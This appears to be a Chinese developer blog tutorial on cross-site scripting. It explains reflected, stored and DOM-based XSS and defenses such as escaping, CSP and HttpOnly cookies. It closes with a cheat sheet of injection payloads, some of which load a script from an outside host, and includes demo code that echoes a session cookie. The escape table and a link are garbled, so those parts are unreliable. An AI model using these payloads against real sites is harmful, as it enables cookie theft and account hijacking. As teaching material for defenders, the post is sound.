java 最新Xss攻击与防护(全方位360°详解)

929 阅读8分钟

看完了,发现对你有用的话,点个赞哈

java 最新Xss攻击与防护(全方位360°详解)


知识图谱

前沿

XSS防范属于前端还是后端的责任 ?

  1. XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。
  3. 公司的搜索页面如果你是下面的写法。那么他可能存在Xss注入
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= getParameter("keyword") %>
</div>

1. 什么是xss攻击?

Xss 即(Cross Site Scripting)中文名称为:跨站脚本攻击。XSS的重点不在于跨站点,而在于脚本的执行

1.1 原理

恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

1.2 分类

Xss攻击最主要有如下分类:反射型Xss(非持久型)、存储型Xss(持久型)和DOM Xss。

1.2.1 反射型Xss(了解)

  • 原理

    反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候,恶意代码会直接在受害者的主机上的浏览器执行

  • 步骤

  1. 攻击者在url后面的参数中加入恶意攻击代码。
  2. 当用户打开带有恶意代码的URL的时候,网站服务端将恶意代码从URL中取出,拼接在html中并且返回给浏览器端。
  3. 用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。
  4. 攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到比如cookie等信息,然后使用该信息来冒充合法用户的行为,调用目标网站接口执行攻击等操作。
  • 演示
<title>csrf攻击</title>

<a href="http://localhost:3001/xss">xxs 攻击</a>
<a href="http://localhost:3001/testcookie">testcookie 攻击</a>
//第一个链接 可以弹出指定的弹窗
router.get('/xss', (ctx, next) => {
  ctx.body = '<script>alert("反射型 XSS 攻击")</script>';
});
//获取当前的所有cookie
router.get('/testcookie', (ctx, next) => {
  console.log(ctx.cookies.get('connect.sid'));
  ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>';
  next();
});

1.2.2 存储型Xss(了解)

  • 原理

主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

  • 场景

比如我现在做了一个博客网站,然后攻击者在上面发布了一篇文章,内容是如下:) 如果我没有对该文章进行任何处理的话,直接存入到数据库中,那么下一次当其他用户访问该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本,然后攻击者就会获取到用户的cookie,然后会把cookie发送到攻击者的服务器上了。

  • 步骤
  1. 攻击者将恶意代码提交到目标网站数据库中。
  2. 用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
  3. 用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
  4. 那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该 cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。

1.2.3 DOM-based型Xss(了解)

  • 原理

我们客户端的js可以对页面dom节点进行动态的操作,比如插入、修改页面的内容。比如说客户端从URL中提取数据并且在本地执行、如果用户在客户端输入的数据包含了恶意的js脚本的话,但是这些脚本又没有做任何过滤处理的话,那么我们的应用程序就有可能受到DOM-based Xss的攻击

  • 步骤
  1. 攻击者构造出特殊的URL、在其中可能包含恶意代码。
  2. 用户打开带有恶意代码的URL。
  3. 用户浏览器收到响应后解析执行。前端使用js取出url中的恶意代码并执行。
  4. 执行时,恶意代码窃取用户数据并发送到攻击者的网站中,那么攻击者网站拿到这些数据去冒充用户的行为操作。调用目标网站接口 执行攻击者一些操作。
  • 攻击代码

  • 使用document.write直接输出导致浏览器解析恶意代码

  • 使用innerHTML直接输出导致浏览器解析恶意代码

  • 使用location/location.href/location.replace/iframe.src 造成的XSS

<script type="text/javascript">
    var s = location.search;            // 返回URL中的查询部分(?之后的内容)
    // 为了方便演示,我们假如url是 如下这样的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 然后我们的是 s 的值就为如下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整个查询内容
    var url = "";                       // 定义变量url
    if (s.indexOf("url=") > -1) {       // 判断URL是否为空 
      var pos = s.indexOf("url=") + 4;  // 过滤掉"url="字符
      url = s.substring(pos, s.length);  // 得到地址栏里的url参数
    } else {
      url = "url参数为空";
    }
    document.write('url: <a href="' + url + '">"' + url + '"</a>'); 
</script>

2. Xss有什么危害?

2.1 劫持访问

劫持访问就是在恶意脚本中插入诸如的代码,那么页面就会跳转到百度首页.像qq.com这样的域名下出现非持久型XSS,那么在发送钓鱼链接时就可以通过[http://qq.com](link.zhihu.com/?target=htt…](link.zhihu.com/?target=htt…

2.2 盗用cookie实现无密码登录

由于盗取的cookie需要传回给攻击者,因此往往需要一个服务器来接收盗取的cookie。

2.3 配合csrf攻击完成恶意请求

Csrf攻击就是在未经你许可的情况下用你的名义发送恶意请求(比如修改密码,银行转账等)

2.4 其他危害

  1. DOS(拒绝服务)客户端浏览器。
  2. 挂马
  3. 劫持用户Web行为,甚至进一步渗透内网。
  4. 删除目标文章、恶意篡改数据、嫁祸。
  5. 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
  6. 蠕虫式的DDoS攻击。

3. 防范手段

3.1 两大要素

XSS 攻击有两大要素:

  1. 攻击者提交恶意代码(输入过滤)。
  2. 浏览器执行恶意代码。

xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。

3.2 预防方案

3.2.1 输入过滤

  • 对输入的内容诸如
  • 其次是编码。像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。

3.2.2 预防存储型和反射型 Xss 攻击

预防这两种漏洞,有两种常见做法:

  • 改成纯前端渲染,把代码和数据分隔开。
  • 对 HTML 做充分转义。
3.2.2.1 纯前端渲染

纯前端渲染的过程:

  1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
  2. 然后浏览器执行 HTML 中的 JavaScript。
  3. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。
3.2.2.2 转义 HTML

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:

所以要完善 Xss 防护措施,我们要使用更完善更细致的转义策略。

例如 Java 工程里,常用的转义库为 org.owasp.encoder

3.2.3 输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 Xss 发生,但可以增加 Xss 攻击的难度。

对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。

3.2.4 Cookie的安全设置

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
    • http-only: 只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
    • secure-only: 只允许https请求读取,发送请求时自动发送cookie。
    • host-only: 只允许主机域名与domain设置完成一致的网站才能访问该cookie。

3.2.5 安全验证

  • 验证码:防止脚本冒充用户提交危险操作。

3.2.6 开启CSP网页安全政策

Content-Security-Policy 中文的意思是 网页安全政策,

CSP是网页安全政策(Content Security Policy)的缩写。主要用来防止Xss攻击。是一种由开发者定义的安全性政策申明,通过CSP所约束的责任指定可信的内容来源,通过 Content-Security-Policy 网页的开发者可以控制整个页面中 外部资源 的加载和执行。 比如可以控制哪些 域名下的静态资源可以被页面加载,哪些不能被加载。这样就可以很大程度的防范了 来自 跨站(域名不同) 的脚本攻击

我们只需要在meta属性中设置下即可:如下代码:
<meta http-equiv="Content-Security-Policy" content="
default-src http: https:  *.xxx.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.yyy.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">
  • default-src 给下面所有的规则设定一个默认值
  • script-src 外部脚本
  • style-src 样式表
  • img-src 图像
  • media-src 媒体文件(音频和视频)
  • font-src 字体文件
  • object-src 插件(比如 Flash)
  • child-src 框架

3.2.7 避免内联事件

避免内联事件 尽量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。

4. 总结

整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:

  • 利用模板引擎 开启模板引擎自带的 HTML 转义功能。例如: 在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>; 在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }; 在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat
  • 避免内联事件 尽量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML 前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElementsetAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕 在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果 通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

5. 真实场景(搜索场景)

某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容

1. 原始版本

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= getParameter("keyword") %>
</div>

当执行 http://xxx/search?keyword="><script>alert('XSS');</script>,服务端会解析出请求参数 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器,页面就出现如下内容,alert 会弹出两次

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
  您搜索的关键词是:"><script>alert('XSS');</script>
</div>

2. Xss的转义攻击

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %>
</div>

escapeHTML() 按照如下规则进行转义:|字符|转义后的字符| |-|-| |&|&| |<|<| |>|>| |"|"| |'|'| |/|/|

经过了转义函数的处理后,最终浏览器接收到的响应为:

<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
  您搜索的关键词是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>

小结论

  • 通常页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展示。
  • 攻击者利用这些页面的用户输入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代码片段。
  • 攻击者通过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引发潜在风险。
  • 通过 HTML 转义,可以防止 XSS 攻击。。

3. Xss过滤攻击

当请求为: http://xxx/?redirect_to=javascript:alert('XSS')

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>

当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

<a href="javascript:alert(&#x27;XSS&#x27;)">跳转...</a>

虽然代码不会立即执行,但一旦用户点击 a 标签时,浏览器会就会弹出“XSS”。

解决方案 过滤

// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}

4. Xss的大小写攻击

当请求为:http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。

解决方案 白名单

// 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}

大结论

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  • 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  • 在 style 属性和标签中,包含类似 background-image:url("javascript:..."); 的代码(新版本浏览器已经可以防范)。
  • 在 style 属性和标签中,包含类似 expression(...) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

6. 附常见的XSS攻击方法

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
  • IMG标签XSS
<IMG SRC=http://3w.org/XSS/xss.js/>
  • IMG标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
  • HTML编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
  • 换码过滤的JavaScript
\";alert('XSS');//
  • 结束Title标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
  • Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  • DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
  • 节省[http:]
<A HREF="//www.google.com/">XSS</A>

标注:有任何不妥的地方望纠正